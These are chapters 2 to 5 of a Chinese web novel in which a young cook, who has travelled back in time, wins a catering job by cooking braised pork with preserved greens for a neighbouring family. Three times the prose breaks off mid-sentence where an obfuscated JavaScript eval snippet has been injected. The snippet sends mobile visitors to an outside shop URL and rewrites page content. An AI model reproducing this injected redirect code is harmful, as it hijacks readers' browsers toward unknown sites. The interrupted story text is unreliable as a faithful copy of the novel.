《国子监小食摊（美食）》 2. 试菜 “你傻啊你，她一个小丫头说自己会做菜你就信啊？”李氏都不知道该怎么说自己这妯娌了，一天天脑子里总是不装事，也从来不用脑子想问题，不想想这仅仅比灶台高一点的小丫头能做出啥像样的菜食来。 别到时候，饭菜做不出来，惹亲朋好友笑话她们王家。 李氏这话如同三月的井水浇醒了兰氏，让她从刚才的欣喜中回过神来。 是啊，这丫头怎么说什么她就信什么呢。 她可真傻，还好，还好，今天带着嫂子一起来了，不然她还真要做出傻事来，到时候不仅要被人笑话，还要被他当家的骂。 “呵呵，我刚刚开玩笑的，开玩笑的，那算了吧。”兰氏开口道，脸上带着些许尴尬。 陶乐真见两人改了主意，也没慌，毕竟谁肯无缘无故信一个小丫头的话，她只是不疾不徐开口， “婶子有担忧是对的，东西好不好吃这种事空口白牙说也没凭证，最好是能试一下菜才知道味道如何，就算婶子找其他人也最好如此，不然到时候做的菜口味不满意就不好了。” 试菜？兰氏眼睛顿时一亮，还有这便宜可以占呢？ 兰氏当即便道，“你是说这席面还能试？” 陶乐真，“是呀婶子，可以的。” 兰氏有些兴奋，“这席面也是你们备？” 陶乐真愣了下，没想到她会这样问，但还是微笑道，“一般是主人家备好菜蔬。” 兰氏不由得有些失望，“哦”了一声，她还以为可以白吃一顿呢，如果真能白吃一顿就好了，虽然才过完年，但今年为了儿子娶媳妇，过年吃的饭菜她都不想说，清汤寡水的一点油水都没有… 可惜了… 另一边，李氏听到这话，又开始忍不住在心里翻白眼了，她这妯娌总是说些蠢话，跟她出门都要丢脸死了，尽想些美事，还想白吃… 再一次告诉自己别因为对方的蠢话生气后，李氏终于平复好心情。 说实话她倒是听说过汴京城内稍有些体面的官人娘子府中找厨娘或者厨子都会试菜，没曾想这做席面的也可以试吗？ 这倒是个好法子，毕竟这么多年每次家中有什么事，都是请陶大掌厨，如今他突然去世了，李氏也愁日后有什么事该请谁来家做席面，若是可以试菜，那就好办了，请人来家里试做一下就知道味道好不好。 这般想完，李氏看陶乐真的眼神也有些不一样了。 果然老话说得好，龙生龙凤生凤，陶大这丫头虽然看起来年纪小，但是不管是说话条理还是脑子都挺不错的，至少比她这蠢妯娌强。 不过她还是再一次确定道，“你是说不管什么菜都会做？” 陶乐真这次没有谦虚，而是自信的开口道，“基本上都可以的。” 似乎为了怕对方嫌弃她年纪小不愿意用她，少女还特意加了一句，“婶子若是用我，我可以不要喜银的。” 像这种喜宴，一般结束后主人家除了要给菜肉外，还会给掌厨的大师傅包一包银子，大约1到2两的样子，这个是不能少的，美名曰沾沾喜气，长期下来已经是大家不得不遵守的规矩，陶乐真直接将这个点出来增加谈判的筹码。 果然那兰氏和李氏听了有些心动，不过兰氏还是不敢擅自做主，而是看了眼李氏，“那要不咱们试一下？” 李氏虽然觉得这事儿有些荒谬，但是目前看来倒是不失为一个好法子。 只是一个十来岁的小姑娘做掌厨，这，真的能行吗？ 不过李氏最终还是被陶乐真浑身散发的镇定和自信动摇了，“那就试一下吧。” 于是，三人最后敲定了午饭后未时（下午13点到15点）在王家碰面，之所以是那个时辰，是因为这个时代普通人是不吃午饭的，大多数人都只吃早饭和晚饭，陶乐真去做的菜正好就晚上可以吃，两全其美。 等一切都商量好，陶乐真这才将两人送走，临走时她还特意又问了两人一遍位置，虽然记忆中有画面，但是具体的她还是有些模糊。 李氏，“就那棵大槐树下，你到了随便问谁，就说找王家二儿媳，自然有人会告诉你。” 兰氏，“对，没错，就是那里。” 记忆与现实对上，陶乐真终于有了印象，“好的，婶子，我记住了。” 李氏和兰氏见陶乐真知道了，也没再继续逗留，转身快步离开了。 不过李氏和兰氏还没走多远，理智就开始回笼，越想越觉得有些离谱，她们怎么就听了那小妮子的鬼话，同意她来做席呢。 大概是她看起来像是特别自信？又或者是她看起来太过坚定，两人不由自主就觉得她行，可是这事儿说出去不是搞笑吗，一个黄毛丫头，能做什么啊？ “算了，让她试试也没事。” 不过最后两人还是直接将这事儿抛在脑后，开始讨论起还有哪家做席面的师傅行，请来做席多少银钱之类的，似乎刚才在陶家的话只是随口一说，随口一听罢了。 只有陶乐真将这事儿列为了头等大事对待，毕竟若是真能接到这次席面的话，说不定后面就能再接一些同样的席面，目前的困境也能迎刃而解，至少不用再饿肚子了。 要知道自从穿到这里，她甚至连一顿饱饭都没有吃过… 是的，陶乐真并非真的这个时代的人，也并非真正的陶大丫，她来自二十一世纪，今年刚满25岁，是一名私厨，大概是老天看她过得太幸福了，于是让她年纪轻轻就得了不治之症，在经过漫长的治疗后，终于，在一个平静的午后终止了她幸福的一生，然后一睁眼就来到这个名叫大周的朝代，成了跟她同名同姓的陶大丫。 说起陶大丫，也是个可怜的小女孩儿，先是爹娘双双离世，丢给她两个嗷嗷待哺的弟弟和妹妹，接着便是自己定了亲的人家上门退亲，才14岁的年纪就经历了人生中最痛苦的打击，以至于一场风寒下来，再也没坚持住。 想到这里，陶乐真不由得有些为原身难受，不过她转念一想，原身是被阿爹阿娘接走的，她并不是孤单一个人，这么想着，陶乐真心里终于好受了些。 紧接着，陶乐真就开始思考起后面的事情来，如果这次替王家做席面顺利，陶乐真有八成把握后面还会有人找她，她对自己的厨艺还是有有信心的，但是为了避免那两成失败的可能性，陶乐真决定还是得再多思考下接下来要做什么才能挣到银子，养活自己和弟弟妹妹。 她的优势是厨艺不错，可以做些吃食去卖，劣势就是如今身无分文，连做吃食的本钱都没有，这些年陶父为了给陶母治病可以说是倾尽所有，死后自然没有留下值钱的东西，就连住的这个破棚屋都是租的，每个月还需交200文租子，好在当时陶父是租的一年，目前还剩下三个月，暂时有个容身之处，不用被赶出去。 除此之外，家里值钱的东西似乎就没了… 不，不对，陶乐真突然想起一件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371411|199924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事来，家里还有一件值钱的东西，那就是陶母的遗物，一支桃花样式的银簪，那是陶父送陶母的定情信物，家里就算再穷都没有卖过。 只是那簪子自从陶母死后，一直是陶父收着，究竟放在哪里，陶乐真也不知道。 在思考了一会儿还是没想起后，她回了院子。 此时，六岁的陶二郎和三岁的陶三妹还在吃红薯。 长时间的饥一顿饱一顿使得两人格外的珍惜食物，就连吃个红薯都吃得跟在吃什么珍馐美味似的。 陶乐真进来后，两人纷纷抬起毛茸茸的脑袋，眼睛亮亮，软糯糯的叫道，“阿姐。” 陶乐真看见这一幕心下一软的同时突然想到，对啊，她不知道簪子在哪里，但是原身的弟弟妹妹有可能知道啊。 于是她看向两人，“二郎，三妹，你们有见过娘的簪子吗？就是那个桃花样子的…” 然而两个小孩一个摇摇头，说“没见过。” 一个只知道眨巴眨巴眼睛，不说话。 陶乐真有些失望，不知道吗？ 算了，还是先吃饭吧，人是铁饭是钢，陶乐真决定先吃了饭再找。 不过与其说是吃饭，不如说是吃红薯，陶家目前已经断粮了，家中只剩下大概二十来斤红薯，陶乐真早上数了一下，一共40个，陶乐真忍不住去想，如果每天她们姐弟三人，一人两个红薯，就是6个，那只能坚持6.7天左右，就算省着吃，一人一天一个，也只能吃13天，也就是半个月。 这也意味着若是没有经济来源，最迟半个月后她们家就彻底断粮了。 陶乐真越想越觉得头痛，但是温热的红薯的甜香味却在下一秒治愈了她。 说起来，她都快记不清自己有多久没有好好吃过一顿饭了，自从生了病以后，味觉仿佛就此失灵，吃什么都有些索然无味，从前她爱吃的食物在那一刻突然变成了一堆精美的模型，天知道这对于一个从前以吃遍天下美食为乐的人来说有残忍。 好在如今她终于又恢复了味觉，对此，陶乐真终于发现了穿越后的第一个好处。 只见她无比虔诚的吃完最后一口红薯，眼中也泛起了幸福的光，那是初春第一缕阳光打在她眸中的光，也是她对食物最诚实的回应。 吃饱的感觉真好，感觉浑身都有力气了。 陶乐真没有浪费力气，接着继续进屋子找了起来。 然而等她翻遍了两间屋子加一个灶房和一间茅厕后依旧一无所获，她有些失望，但日头已经高高升起。 这个时代没有钟表，陶乐真只能根据太阳上升的位置判断时间，眼看着差不多了，陶乐真只得放弃。 没事，还有王家呢，她相信以她的厨艺，王家人吃了她做的菜肯定会喜欢的。 陶乐真又给自己打了一下鸡血，接着对陶二郎和陶三妹嘱咐道， “二郎，阿姐要出去一趟，你在家好好看着妹妹，门我锁了，到时候谁来你也别开知道吗？” 这年头虽然是太平盛世，但是对于手无缚鸡之力的普通人而言，危险是时刻存在的，尤其是她们这种年纪小的。 陶乐真有些不放心，但是带着两人去更加不安全，她做菜的时候难免会忽视掉他们，若到时候有什么意外，那才真的是后悔莫及。 “好的阿姐。”陶二郎乖巧的答应道，他虽然只有六岁，但是该懂的都懂了，他知道阿姐是要去别人家做饭，就像从前的阿爹一样。 3. 梅菜扣肉 就这样，叮嘱好两人，陶乐真便出了门。 她要去的地方名叫安庆坊，在外城北边，说远不远说近不近，陶乐真大概走了一刻多钟的样子才到。 她循着记忆中的地方，到了对方说的大槐树下，然后随便找了个面善的大婶，很快就从对方嘴里得知了王家住在哪里。 王家， 兰氏此时正在家里院子里理菜苗，见陶乐真这么早就来了，有些惊讶，但很快她便回过神招呼道，“丫头你来了，等下，我马上弄好。” 接着她赶紧将最后几根菜苗插进土里，然后浑不在意的在自己身上抹了两下，站起身来。 “你来了，渴不，我去给你倒水，你先喝点水。”兰氏一边往屋子里去，一边说道，虽然她平时有些小气和吝啬，但是不至于客人上门连口热水都不给， 走了这么久陶乐真还真有些渴了，于是也没拒绝，接过兰氏递过来的白粗瓷碗，道了声谢便喝了起来，喝完递给兰氏的时候她又道了声音。 左一声谢右一声谢听得兰氏心里都怪怪的了，她活到这个年纪还没听过这么多谢谢，不管是她亲爹亲娘还是婆婆丈夫对他说的最多的一句就是她太蠢了，当然，真话可能没有那么直白，但是兰氏心里是知道的他们都嫌弃她蠢，不如嫂子李氏那么聪明。 就拿今早上的事情来说，她回来后便将这事儿告诉丈夫，可谁知道他不仅不觉得她这主意好，反而还觉得她太傻，被一个丫头忽悠了，如果不是儿子和嫂子帮她说话，估计她不知道又要怎么被丈夫骂。 可是她明明也是为了这个家好啊…这银子是儿子们辛苦在码头做活一个铜板一个铜板挣回来的，他不心疼，她心疼行了吧？ 不过兰氏一向比较心大，尽管心中有些委屈，此时她也已经开解好了自己。 兰氏，“不用谢，这有什么。” 接着又道，“菜已经给你准备好了，在灶房，看你什么时候做。” 其实兰氏打心底里不太相信面前的少女真能做出什么好吃的饭菜，但是在被丈夫骂后，她心中不知为何竟然隐约有些期待面前的少女能做出好吃的饭菜来，这种隐秘的心情，就连她自己都没发现。 具体表现在她给陶乐真准备菜的时候直接准备了一斤五花肉，要知道，那可是整整一斤肉，过年一大家人也才吃两斤肉呢。 兰氏这次是下大血本了。 “就现在做吧婶子。”陶乐真不想耽误时间，早点做好早点回家去，两个几岁的小孩在家里还是有些让人不放心的。 “行。”兰氏也没再说什么，直接将人带到灶房，并且将菜放在哪里，盐和油放哪里告诉了陶乐真。 接着她又说了打算让陶乐真做的菜。 “我想了下，你就做梅菜扣肉吧。”这是李氏给兰氏想的，盖因这道菜是席面上缺一不可的菜，原本兰氏还想让陶乐真做点素菜的，但是李氏说了，还是得做肉菜才能看出来手艺。 梅菜扣肉？陶乐真愣了下。 就这么简单？ 陶乐真有些不敢相信，但是她转念一想又觉得挺合理，记忆中陶父最拿手的就是这道菜，每每吃过这道菜的人都赞不绝口。 不过她这副怔愣的模样落在兰氏眼中，就是另一个意思了。 莫非她不会做？ 兰氏心一瞬间揪了起来，只见她有些犹豫道，“你可会做？” 这可是整整一斤五花肉啊，花了她18文呢，不会就这么白白糟蹋了吧？兰氏又看了看陶乐真，有些不确定。 直到下一秒， “会做的婶子。” 兰氏松一口气的同时，心中依旧有些打鼓，她突然有些后悔起来，她确实是傻，买这么多肉做什么，万一… 兰氏不敢再想，勉强笑了下。“行，那你做吧，需要我做什么就说。” 陶乐真点点头，别说她还真需要对方做件事，就是烧火。 这个时代还没有打火机，大家普遍都用打火石和火折子，陶乐真才穿过来不到一个星期，还有些不太习惯用。 “行，没问题。”兰氏最会烧火了，家里都是她烧火，她做菜味道很一般，有时候丈夫嫌弃她做的菜不好吃，经常让她烧火他来炒菜。 陶乐真见状点点头，没再说什么，自己则是去将墙壁上挂的几把梅干菜取下来用热水泡着，接着才去将那块五花肉洗干净放在锅里，然后放入一些黄酒和葱姜以及末过肉的水，最后关上盖子。 梅菜扣肉其实做起来特别简单，唯一需要注意的就是煮肉的火候和时间，还有便是调味和炸肉的时候需要注意别乱来，只要这几个步骤做好，味道自然不差。 陶乐真在等肉熟的空隙，也没闲着，而是将待会儿蒸梅菜扣肉用的佐料全部配齐，这个时代有许多佐料都差不多有了，例如辣椒胡蒜，几乎家家都种得有，陶乐真只是随意看了眼，便大致知道佐料的量，很快就将蒸肉的佐料调制好了。 大概半个时辰后，伴随着一股猪肉香，陶乐真将锅盖大概，用筷子和笊篱将肉捞到菜案上，陶乐真先是用准备好的木签在上面戳了许多洞，接着才将准备好的酱油先抹在上面，等晶莹剔透的五花肉被抹上一层均匀的酱色后，陶乐真又让兰氏将火烧旺。 开始炸肉了。 这一步是为了让五花肉的皮变成虎皮，使口感更好更香。 陶乐真一边注意锅中的油温，一边将五花肉皮朝下开始炸，待肉放进去的一刹那她快速拿过锅盖将其盖上。 锅内瞬间传来滋滋暗响的声音。 如此声响自然吓到了兰氏，不对，应该说陶乐真在倒油的时候就把她吓到了，她们家一家四口，一年到头都没有吃那么多蔓菁籽油（菜籽油），谁曾想陶乐真一下就倒了半大陶罐子，这可把兰氏吓坏了，好在陶乐真赶紧解释说炸了猪肉的油还能用，甚至还更香后，兰氏才将心放回肚子里。 可是她的眼神却时时刻刻盯着陶乐真的动作，似乎生怕那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371412|199924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上好的五花肉和一锅油被其糟蹋，然而她本来就不会做菜，自然也看不出陶乐真做菜到底对不对。 于是她一会儿觉得面前的少女手法娴熟，应当是会做饭菜，一会儿又觉得像是在过家家似的，一点都不让人信服。 她心中纠结陶乐真自然不知道，陶乐真只知道在心中默数时间，等大约5分钟后她才将木锅盖掀开将炸好的带着酱色焦香的五花肉捞到准备好的冷水中，这一步大约需要十分钟左右，是虎皮成型的关键，马虎不得。 接着陶乐真趁着泡水的时候先是让兰氏将火从灶里撤出来，接着才将油舀到陶罐子里，等五花肉泡好水，她拿起菜刀将肉捞出来开始切起了薄片，也是这时候兰氏才真的相信面前的少女是真的会做饭，至少比她会。 之所以有这种想法是因为少女那般瘦小的人握住菜刀后整个人仿佛变了个人似的，切肉的动作更是十分的行云流水，利落洒脱，而经由她那双手下的五花肉更是肥肉均匀，肉眼看过去，又薄又规整，没错，就是规整，那刀就像是轻轻划过肉似的，切完了肉都一点没乱，看得兰氏那叫一个目瞪口呆。 这陶家大丫头还真会做菜呀？ 至此，兰氏算是真的相信陶乐真会做菜了，当然，只是相信了一半，毕竟菜还没做好，好不好吃是另一回事呢。 “蒸一个时辰就差不多了。”陶乐真将肉皮往下摆好，上面放好炒好的梅干菜，放进大蒸笼里盖上后盖好。 这蒸笼是她在灶房里看到的，估摸着是要办喜事了，这蒸笼也洗了出来，说实话一斤肉用这么大个蒸笼属实是有些大材小用，不过也没其它需要蒸的了，只能这样。 “婶子，你让我来烧火吧。”陶乐真做好一切后便主动去替兰氏，毕竟她现在就相当于是来面试的员工，而兰氏则是老板，哪儿有让老板干活的道理呢。 “没事，你歇着吧，我来烧就行。”兰氏烧火烧习惯了，并不觉得有什么，反而她现在特别好奇关于陶乐真其它的一些事情。 “你是什么时候跟你阿爹学的做菜？” 陶乐真有些懵，不知道兰氏为什么问这个问题，但很快她就反应过来，“大概三岁的样子。” 陶乐真并没有撒谎，别人从小学钢琴芭蕾，她则是三岁开始就跟她爸学的认菜闻菜，别人从小不是穿漂亮的小裙子，玩芭比娃娃，她则是跟各种调料刀具作伴，没办法，谁让她家是真有祖传的厨艺要传承呢。 三岁？我滴个乖乖，那岂不是还没那板凳高就开始学做菜了？怪不得看起来刀工这么好，兰氏有些惊讶，嘟囔道， “那你阿爹可真狠心。” 要是她有女儿那肯定是不会让她这么辛苦的，实在没看出来春氏那样温柔的小娘子也舍得，兰氏暗自想道。 还好？吧？陶乐真小时候倒是真的恨过她爸，但是长大了她确实挺喜欢做菜的，也就不恨了，尤其是看到别人吃饭她做的菜露出幸福的表情，她也确实觉得挺有成就感的。 4. 梅菜扣肉 兰氏似乎真的很同情陶乐真，接下来陶乐真几次想要抢过烧火的活计都被她拒绝了。 陶乐真见抢不过只能作罢，陪着兰氏继续闲聊。 兰氏起先只是随便问一些关于陶家的事儿，后来话匣子一打开就停不下来，将平日里发生的事儿都一股脑倾倒出来，也不管对面的人是否愿意听。 好在陶乐真也对这个时代的生活感兴趣，你一句我一句还真被她了解到了许多有用的信息。 比如西市陈家的猪肉便宜，黄家的会缺斤少两，又比如柴火最近因为天气暖和起来，便宜了许多，只要8文钱就能买一大捆，以及大相国寺东门大街开市的时候特别热闹，但是拍花子的也多，张员外四岁的儿子就被拍走了。 陶乐真坐在小木凳上择菜，时而露出迷茫的神情，时而露出恍然大悟的神情，最后不忘夸一句，“婶子知道得可真多。” “多亏婶子，不然我去哪里知道这些。” 兰氏从前从未曾被旁人这样直白的夸过，白胖的脸上和耳朵尖浮现出一抹红色，心中满足极了，恨不得将自己所有知道的东西全部一股脑都告诉面前的少女。 蒸笼冒出滚烫的白色浓雾，锅中咕噜噜的开水沸腾不止，连带着蒸笼也时起时伏。 蒸笼内的五花肉随着时间流逝，慢慢改变状态和颜色，直到彻底与梅干菜的香味，酱料的香味融合在一起，从蒸笼里飘出来。 那香味像是知道哪儿站着有人似的，直往人的鼻尖里钻。 兰氏正说着话，闻到这浓郁的香味，喉咙不由自主滚动了一下，脱口而出一句， “好香啊。” 陶乐真抬头看了眼木门外的天色，心中暗自计算了下时间。 应当差不多了。 将手中择好的菜分门别类放进篮子里，陶乐真站起身来到灶台前，越靠近，香味就越浓，不过真正味道完全散发出来时是揭开蒸笼盖子的那刻。 许是太久没吃过肉，陶乐真闻到这香味时也忍不住深深吸了一口，不用看就知道，今天这梅菜扣肉一定很好吃。 陶乐真将蒸笼盖放置一旁，第一时间并没有去将那碗梅菜扣肉端出来，而是过了一会儿，等热气散了些，她才将其端出来放到灶台上。 这时，另一个碗早已准备好的白瓷碗就派上了用场，只见陶乐真将碗扣在上面，双手轻巧一翻，一碗码得规整漂亮的梅菜扣肉就出现在了碗中。 兰氏都看呆了，乖乖，这梅菜扣肉看着可真不赖，不知是不是她的错觉，她竟然觉得颜色比之前陶大做的还要好看。 这卖相也太好了，只是不知道味道如何。 陶乐真像是她心中的蛔虫，出声，“婶子你要尝尝吗？” 兰氏闻言，当即就有些迫不及待地点点头，鬼使神差的就接过了陶乐真递来的筷子。 然而当筷子拿在手上时才惊觉的想起丈夫和儿子还没回来，她有些犹豫，但最终还是没有抵挡诱惑，将筷子伸向了那碗梅菜扣肉。 她只尝尝里面的梅干菜，应该没事。 兰氏一边自我洗脑，一边夹起一筷子冒着热气浸满汤汁的梅干菜放进嘴里。 该怎么形容这个味道呢，比匮乏的词汇更先来的是铺天盖地如排山倒海般的满足感，梅菜非常的软，带着它特有的浓郁香味，又因浸满肉汁带着肉的香味以及恰当调味的鲜甜和多层次的口感，简直不要太香太好吃，就这滋味，兰氏已经能想象出拌饭能有多好吃了。 兰氏眼中有一瞬间的失神，等回过神嘴里的梅干菜已经咽下去了，那一刻她内心深处竟然生出些许的空虚，那种空虚是因为强烈的落差带来的。 实在太好吃了。 仅仅只是里面的梅干菜都这么好吃，她都不敢想象上面那肉的滋味得有多好。 兰氏忍了又忍，才忍住让自己的手不去夹上面的肉吃。 “呵呵，味道不错，挺好的。”兰氏悻悻收回筷子，有些意犹未尽，不过想到辛苦一天的丈夫和儿子她最终还是忍住了。 陶乐真见兰氏满意，心中也挺开心，她看了看时间，差不多可以回去了。 “那婶子今天我就先回去了，如果王二叔回来觉得可以的话你就托人带个话给我。”陶乐真舀了一瓢刚才蒸菜的热水洗干净手，对兰氏道。 “行。”兰氏答应得很爽快，她此时看陶乐真的眼神都跟起初不一样，语气也多了几分她没察觉的认可。 甚至在陶乐真告别准备离开的时候还主动开口叫住了对方，“你等下。” 说完她转身跑进屋子里，出来时手中多了大概四五个鸡蛋和一张油纸包着的带着温度的几片梅菜扣肉。 “你拿回去跟你弟弟妹妹一起吃。” 或许是因为陶乐真做的梅菜扣肉味道不错，又或许是因为今天早上在陶家看到的那一幕让她有些心疼，从前一向节省的兰氏难得出手如此大方。 “不用了，婶子。”陶乐真下意识就想拒绝，但是话音还没完全落下，鸡蛋和油纸就到了手中。 圆滚滚的带着凉意的鸡蛋，上边还有着已经干了的不知道是泥土还是鸡屎的污渍，皱皱的油纸一看就是不知用了几次，浸满了油渍。 然而陶乐真却一点都没有嫌弃，她此时就像是处在春暖花开的季节，整个人被阳光包裹着一般。 “那，多谢婶子了。”陶乐真最后还是接受了对方的这份好意，四枚不大不小的鸡蛋也被她小心翼翼地握在手中，温热的油纸也放进怀里。 “不用谢，那鸡蛋都是自家鸡下的。”兰氏历来有些笨嘴笨舌，也说不来什么温暖的话，想安慰人都只会说别难过， 但是就算这样，陶乐真也感受到了对方的善意。 毕竟像这种情况，对方完全可以什么都不给她，也没什么，因为从某种角度来说是陶乐真有求于对方一家，若是换成别人家指不定连试试的机会都没有。 陶乐真心里默默记下这份善意，又道了声谢，这才离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371413|199924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 结果在离开王家的时候多嘴问了句地上的菜苗，怀里又多了一小捆青菜苗，据兰氏说都是她挑剩下不要的，让她拿回去种。 别说，陶乐真前几日身体刚痊愈的时候在陶家的破院子里晒太阳，还真想过等后面有空了就买点菜苗种下去，再养几只鸡鸭，这样不用去市集买，省不少银子呢，没想到还没等她买，兰婶就送了她这么多菜苗。 如今菜苗有了，那不是很快就有菜吃了，陶乐真越想越开心，再加上怀里的鸡蛋和肉，她恨不得立刻马上回家去。 说实话她真的好久都没吃过鸡蛋了，真的馋了，不仅是她，还有原身的弟弟妹妹也是，可以说自从陶父一个月前死了，家里就几乎半断粮了，别说肉，饭都吃不饱，若他们知道她带了鸡蛋和肉回去，想必他们一定也很开心。 越想越开心，陶乐真不由加快脚步，恨不得马上回到家。 而此时王家，兰氏心情也挺不错的，既有为刚才那碗好吃的扣肉，也为自己帮到别人感到开心，同时心中也有些解气，这下看丈夫还说不说她蠢了，人家陶家丫头做的菜不仅不赖，还好吃着呢。 等他回来若他尝到这梅菜扣肉肯定跟她一样惊讶。 想到这里，兰氏已经迫不及待想看丈夫回来后是什么神情了。 。 王二和王大郎王二郎归家的时候，天色已经黑了，兰氏在家等着他试席面的菜，但他却早已经忘了有这回事了，在他看来，那陶家丫头才多大，嘴上说得自己好像很厉害一样，真让她来她都不一定敢来。 他照常回家后往桌子上一坐，如同皇帝一样端坐上首，等着妻子儿子倒酒递筷子， “菜呢？怎么就这些？不是说了让你晚上的时候割点肉做来吃吗？” 王二看着桌子上粗碗装的一叠酸菜，脸上露出不悦的表情。 他向来是这样，一有不如意的就喜欢对家里人撒气，兰氏早就习惯了，也不气，而是献宝似的从旁边将那碗梅菜扣肉端到男人面前。 王二看着那碗肉脸色缓和了些，下意识道，“嫂子做的？” 兰氏笑着道，“不是，是陶家丫头做的。” 陶家丫头？哪个陶家丫头？王二难得脑子有些转不动，他想了半天才想起来是陶大的女儿。 竟然是那丫头做的？王二还真有些惊讶，但下一秒就想道，这丫头胆子还挺大的。 他不由得看向那碗梅菜扣肉，色泽卖相，别说，看上去还真挺有模有样的。 “她自己一个人来咱们家做的？” 兰氏点头，应是，兴高采烈的夸起陶乐真做菜如何如何厉害。 “行了，不就是会做个菜吗，有什么好说的。” 值得夸成这样吗。 王二不解，言语中也带了些许不屑一顾。 这话似一盆冷水浇在兰氏身上，兰氏想说，真的不一样，陶家丫头做菜真的跟她见过的其他人不一样，但是最终她还是没说什么。 5. 好吃 她不说话，王二见她不说话，以为她终于赞同了他的意思，颇有些志得意满，继续不屑道， “说实话，我觉得那陶大做的菜吃起来也一般，也不知道为啥大家都爱找他。” 在王二看来，最好吃的还得是樊楼的菜，那才叫真正的好吃有面儿呢，其它的哪里比得过。 “爹，人都死了，你嘴下积点德行不。”王家二郎忍了又忍，最终还是没忍住，他不过15.6岁的年纪，平日里最爱去茶肆瓦子听些行侠仗义的话本子，对他爹的做派实在看不上。 “你什么态度，我是你老子。”王二见二儿子敢这么对他说话，气上心头，一个巴掌将桌子拍得抖了下。 “好了，二弟，少说两句，你脾气如今怎么变得这样大了，这是咱们爹，辛辛苦苦把咱们养大的人，不说让你多孝顺，至少别整日讲这些话气人才是。” 王大出来和稀泥，他读过两天书，如今在码头每天给干活的力夫记账，人都叫他王账房，说话最是文邹邹的。 不过他从前并非是这样的，就近几年不知怎么就成这样了。 王二郎最讨厌他哥哥这样说话，心里暗自骂了句装货，翻了个白眼。 “他给你出了那么多银子念书，如今又给你娶媳妇儿，你自然说他好，说些好话恭维他，但你别忘了他可一个子儿都没给我。” 王家一向不富裕，只靠王父一人做活养活全家，从前供王大郎念书已是废了九牛二虎之力，自然不可能再供第二个，王二郎也就没读成书。 这也罢了，王二郎一开始也觉得没什么，可后来阿爷死了，家中分得五十两银子，他于是提出想去念两年私塾，他爹也死活不肯，那时他便明白他爹是个偏心眼子，偏心他大哥呢。 还有，如今给他大哥娶亲，三十两聘金说掏就掏了，眼睛都没眨，而他想去心悦的小娘子家中提亲，十两银子都不肯拿。 王二郎怎么想得开。 “你…你怎么能这样说呢。”王大郎似乎没想到弟弟会说这样的话一时噎住。 王父却冷笑一声，“我的银子我想给谁就给谁，你大哥比你有本事，这银子我就给他，你要是哪日比他有本事了，我也给你。” 王二郎听到这话，脸上表情变了又变，心中委屈忿恨自不用说，但他很快就将悲愤转化成了食欲。 他们想气他，他偏偏不受气。 这样想着，他脑子里突然快速生出一个鬼点子，只见他直接拿起碗，一筷子将那梅菜扣肉上面的肉一口气夹走三分之二，在王大郎和王父还没反应过来的时候以迅雷不及掩耳之势端着碗就往外面跑了。 这一顿操作猛如虎，直接将屋子里的三人给看呆了，等反应过来时，人已经跑远了。 王父气得追到院门口，“你有本事别让老子逮到你。” …… 而一旁的兰氏也有些蒙，不过心中却莫名升起一股子莫名的情绪，好像还挺解气的是怎么回事呢？ 。 跑出去的王二郎，其实并没有跑多远，他跑到坊外那棵槐树旁的石头墩子背后藏了起来，那是一个极其隐秘的角落，他小时候挨了打就喜欢藏这里，然后等兰氏来哄他，这次也不例外。 坐在冰冷的青石板上，半晌，王二郎呼吸才平缓过来，呼吸是顺畅了，可刚才被压抑的酸涩却突然涌上心头，少年只觉鼻尖酸酸的，接着眼泪便顺着黝黑的脸颊落到手背上，碗中。 他大力的抹去脸上的泪，但那泪水却似源源不断般，一直擦不干净。 直到他泄愤似的往嘴里扒拉饭的时候，他的身体突然就此僵硬住…… 这是…梅菜扣肉？怎么这么好吃？刚入口的一瞬间，他还以为吃到了豆腐呢，又软又嫩，入口即化，一点肥肉的油腻都没有，还带着梅干菜的浓郁香味，调味也恰到好处，多一分咸，少一分甜，简直绝了。 咽下去的那瞬间，王二郎的眼泪也停了，什么委屈也没了，脑子里只有太好吃了三个字。 莫非是因为他太饿了？所以才觉得格外好吃？ 王二郎想到。 不过还没等他想明白，他的右手已经不受控制的又夹了一大块五花肉放进了嘴里。 唔唔唔，太好吃了。 肥肉的油脂被梅干菜吸收殆尽，只剩下独特的香气，王二郎吃肉的同时还不忘刨一口大米饭，粒粒分明，带着米香的米饭，完美的与肉融合在一起，又带着略微的嚼劲，越吃越香，越嚼越香，让人完全沉溺在这场美食钩织的幻梦中无法自拔。 王二郎吃了好几口才停下来，他叹了一口气，那是满足的叹息。 他看着碗中堆成小山的肉，心中莫名有一种莫名的快意，谁让他爹偏心眼的，那就别怪他把这么好吃的肉都一个人吃掉！！！ 